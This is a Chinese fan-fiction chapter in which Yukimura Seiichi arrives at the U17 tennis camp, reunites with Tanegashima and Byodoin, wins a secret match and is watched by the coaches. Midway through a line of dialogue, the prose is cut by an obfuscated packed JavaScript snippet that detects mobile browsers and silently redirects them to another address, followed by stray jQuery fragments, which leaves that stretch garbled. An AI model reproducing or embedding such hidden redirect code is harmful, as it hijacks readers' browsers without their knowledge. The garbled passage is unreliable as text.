72.初入u17
作品:《打网球是不会死人的!》 U17训练营的正门,和幸村想象中不太一样。
没有气派的金属门禁,没有闪烁的电子屏,甚至没有像样的柏油路。两尊红褐色、布满裂纹的巨石像门神般立在入口两侧,中间是一条蜿蜒向内的土路,两侧是茂密到有些阴森的树林。晨雾未散,远处建筑轮廓模糊,整个场景看起来像是——
“深山老林里的废弃村落入口?”幸村提着行李,轻声自语。
“精市——!”
熟悉的声音从雾里传来。种岛修二像只大型猫科动物般钻出来,身上意外整齐地穿着运动服外套——如果忽略他睡翘的那撮银发的话。
“前辈怎么知道我会这个时候来?”幸村有些意外。班车时间并没有提前通知。
“因为我猜你在家安顿好一切之后,一定非常、非常迫不及待想过来。”种岛接过他手中的网球包,自信满满地回答,“今天刚好是周一,按你的性格,绝对会用最快速度搞定所有事然后出现在这里——怎么样,猜对了吧?”
幸村看着种岛脸上“快夸我”的表情,诚恳点头:“种岛前辈很了解我。”
“那是~”种岛转身带路,“走吧,先去寝室放行李,路上可能会遇见某个……改头换面的故人。”
故人?
幸村还没问出口,就看到了站在宿舍楼前空地上的那个人。
金发依旧张扬,但长度已经到了肩头,凌乱中带着某种野性的美感。下巴和脸颊上覆盖着一层浓密的胡茬,配上那双锐利的黑色眼睛,整个人的气质从嚣张帅哥变成了……
「落难海盗?」幸村脑海里闪过这个念头,又迅速否决,「不,更像是刚在荒野求生节目里拿了冠军。」
他沉默了三秒。
对方也在打量他,眼神毫不掩饰。不过因为幸村从小就是等比例长大的,所以他猜对方应该很快就能认出他。
“……平等院前辈?”幸村最终选择用最稳妥的称呼,语气里带着恰到好处的迟疑。
“是我。”平等院凤凰的声音比记忆中更低沉了些,带着砂纸般的质感,“好久不见,精市。”
确实是好久——上次见面还是半年前,他宣布自己要去进行环球旅行。那时平等院刚升入高中,意气风发,下巴光洁得能反射灯光。
而现在……
“在u17不允许刮胡子?”幸村诚恳发问。
“完全没这回事,”种岛修二就这样随口造谣,“这只是平等院他个人的特殊小爱好罢了——据说这样能增加威慑力,让对手未战先怯。”
平等院斜了他一眼:“别听他瞎说。我只是在山上训练的时候把刮胡刀弄丢了而已。”
他说这话时,手指无意识地摩挲着下巴的胡茬,表情居然带着点……满意?
“像狮子一样。”幸村评价道。
种岛挑眉:“因为平等院的发型?”
“还有现在的……毛发分布。”幸村斟酌用词,“以及气场。”
平等院居然笑了——眉眼舒展,嘴角往上勾:“眼光不错。”
种岛翻了个白眼:“行了行了,别在这儿互夸了。精市,你的宿舍在我那儿——101室,走,带你过去。”
他接过幸村的行李包,很自然地搭上肩膀,转身时还不忘朝平等院挥挥手:“回见啊狮子王,记得抽空打理一下——你下巴那儿有片树叶。”
平等院下意识摸下巴,随即反应过来被耍了:“种岛你这家伙——”
种岛已经拉着幸村走远了。
*
“寝室在这边,101靠近大门偶尔会有点吵,不过好处是只有我们两个人哦。”种岛边走边说。
幸村有些意外:“双人间?”
“本来是四人间,但我把另外三个热心推荐给更需要集体生活的同学了。”种岛说得轻描淡写,“现在空了两张床,教练组原本想塞几个人进来……”
他推开101的门。房间宽敞整洁,两张上下床靠墙摆放,窗台上甚至摆了一小盆绿植。
“——但我拒绝了。”种岛把行李放在空床边,“这里是我的私人领域,懂吗?训练已经够累了,回宿舍还要应付室友?No thank you。”
幸村环顾四周。房间确实很有种岛的风格:东西不多,但每样都摆在最顺手的位置,而且超级干净,看得出前辈是一个很会做家务的人。
“然后教练组就说,‘啊,那幸村精市可以吗,一个学校的前后辈,总不至于拒绝了吧?’”种岛模仿着教练的语气,然后挑眉,“他们猜对了。我确实没拒绝——毕竟是你嘛。”
他拍拍幸村的肩:“收拾一下,然后我带你去逛训练营。虽然这里的大门简陋得像个野外拓展基地,但该有的设施还是有的……”
*
种岛像专业导游一样领着幸村逛了一圈。
“这是球场区,全部硬地——别问为什么没红土和草地,问就是预算不够。”种岛摊手,“那边是休息室,有自动贩卖机,但碳酸饮料就别想了,只有一个超级难喝的品种。真不知道他们是怎么找出来的。”
“食堂是自助餐,聘请了多个国家的厨师,还有各种各样的甜点。我记得你喜欢吃烤鱼,对不对?食堂里面也有哦。”
“多功能大厅在那里,平时开会用,偶尔放电影。上周播的是《闪○》,平等院路过看了一眼就走了,可能对他来说冲击性太低了吧。倒不如说一片黑暗中突然出现了他的脸,才是冲击性最强的。”
幸村听得认真,偶尔提问:“训练安排呢?”
“啊,那个。”种岛摸摸下巴,“每天早上六点晨跑,七点早餐,八点开始正式训练,限时三个小时完成。下午同样是训练,限时三个小时。提前完成的话,多出来的时间自由安排——对了,这里不允许私斗,只有两种正式比赛模式。”
他掰着手指:“一种是教练每天在训练前安排的个人洗牌战;另一种是整个球场发起的换场赛,赢了就能升级到更好的球场。”
幸村点头表示明白。
种岛看了他一眼,忽然笑起来:“不过对你来说,可能很快就会觉得无聊了——从16号球场开始打上去,对你来说跟爬楼梯有什么区别?”
幸村也笑了:“前辈似乎对我很有信心。”
两人正说着,远处传来喊声:“种岛——!教练找你——”
“来了来了!”种岛提高声音回应,然后对幸村说,“你先自己逛逛?我去去就回。”
“好。”
*
幸村独自在训练营里走了走。正如种岛所说,内部设施其实相当先进,和那个破旧大门完全不是一个画风。
他走到球场边时,正好有一场练习赛结束。几个高中生从场上下来,看到幸村时愣了一下。
“喂,那是……”
“国中生?怎么会在这里?”
“听说今年破例招了一个……”
议论声不大,但幸村听得清楚。他朝那边礼貌地点点头,继续往前走。
然后被人拦住了。
“幸村精市?”拦住他的是个高个子高中生,眼神里带着审视和……某种跃跃欲试,“我听说过你。三年前在U14赢过我的人,是你吧?”
幸村眨了眨眼:“三年前我九岁。”
“那就两年前!”对方改口,“总之,是你没错吧?”
幸村仔细看了看对方的脸,确实有点眼熟——一年前某场青少年赛的半决赛对手,当时那个哭着说“我一定会赢回来”的少年。
不过,看起来记忆力不太好的样子呢……
“原来是前辈。”他微笑,“好久不见。”
对方被他这声“前辈”叫得有点不自在,但很快又挺起胸膛:“我现在可不一样了!在U17训练了这么久,早就脱胎换骨了!要不要……比一场?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145979|189745||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
他说这话时眼神闪烁,声音也压低了些。
幸村想起种岛说的“不允许私斗”,但看着对方那双写着“求你了答应吧”的眼睛,忽然觉得有点有趣。
“好啊。”他说,“不过要在哪里打?”
“我知道一个偏僻的球场,教练很少过去……”
*
结果那场比赛只持续了十五分钟。
6-0,幸村完胜。
对手站在网前,握着球拍的手微微发抖,脸上写满了“我是谁我在哪儿我刚才经历了什么”。
幸村走过去,很自然地伸手:“很精彩的比赛,前辈的网前截击比以前进步了很多。”
对方机械地和他握手,然后猛地抬头:“开什么玩笑……轻描淡写地说出这种话。这场比赛不是和以前一样,是一场彻头彻尾的失败吗?!”
“嗯?”幸村偏头,“前辈是觉得我没有认真吗?”
“不是那个意思!”对方抓了抓头发,表情复杂,“我只是……算了。”
他转身要走,又被幸村叫住。
“前辈。”幸村指了指他的握拍姿势,“反手击球时手腕再压低一点,旋转会更稳定。还有,跑动时左脚落地的角度可以调整一下,会减少你膝盖的负担。”
对方愣住了。
幸村笑了笑:“我只是觉得,你可以变得更强。”
嗯……反正他来这里是为了变得更强,但如果磨刀石质量太差的话,不会很无聊吗?
说完,他挥挥手,转身离开。
留下那位高中生站在原地,盯着自己的球拍看了好久。
*
教练室里,三个教练正通过监控看着刚才那场比赛的回放。
黑部由纪夫端起红茶,抿了一口:“怎么样?”
斋藤至摸着下巴——他刚才因为太专注看屏幕而撞到了门框,现在额头还红着一块:“游刃有余。完全没使出真本事。”
拓植龙二在做俯卧撑,一边做一边说:“速度、力量、技术都是顶尖水准。而且……”
他停下来,撑在地上,“他还指导了对手?”
“看样子是。”黑部放下茶杯,“种岛说得没错,这孩子比我们想象中还要强。”
斋藤叹气:“所以当初我们为什么要把他放在‘可能需要特别关照’的名单里?”
“因为他是个国中生。”拓植站起来,拍拍手上的灰,“而且长得……嗯,看起来需要被保护。”
三人同时沉默了。
监控画面里,幸村正走向食堂,路上遇到好几个高中生主动跟他打招呼——明明他才来了一天不到。
“他人缘好像不错。”斋藤说。
“何止不错。”黑部指了指另一个监控画面——食堂里,幸村才到就被种岛招呼着过去,于是他在拿完食物之后坐在种岛和平等院中间,周围还围了好几个高中生,有说有笑。
“简直像是来这里开同学会的。”斋藤如此评价。
拓植皱起眉:“种岛那小子,对我们总是爱答不理,对幸村倒是热情得很。”
“古怪,太古怪了。”斋藤指着画面,“你看,他在给幸村夹菜——平等院居然也在递调料瓶?那个平等院?”
三人再次沉默。
过了一会儿,黑部开口:“算了,至少证明幸村的适应能力很强。接下来的训练计划……”
“照常进行。”斋藤说,“不过可以适当增加强度——我很好奇他的极限在哪里。”
画面里,幸村正笑着回应种岛的话,然后转向平等院说了句什么。平等院居然……笑了?不是往常那种张狂的带点傲慢的笑,而是真的被逗笑了的那种笑。
拓植揉了揉眼睛:“我真的该去医院检查一下眼睛了……”
“算了吧。”黑部淡定地喝了口茶,“不过,也许他能做到的比我们想象的更多……谁知道呢。”

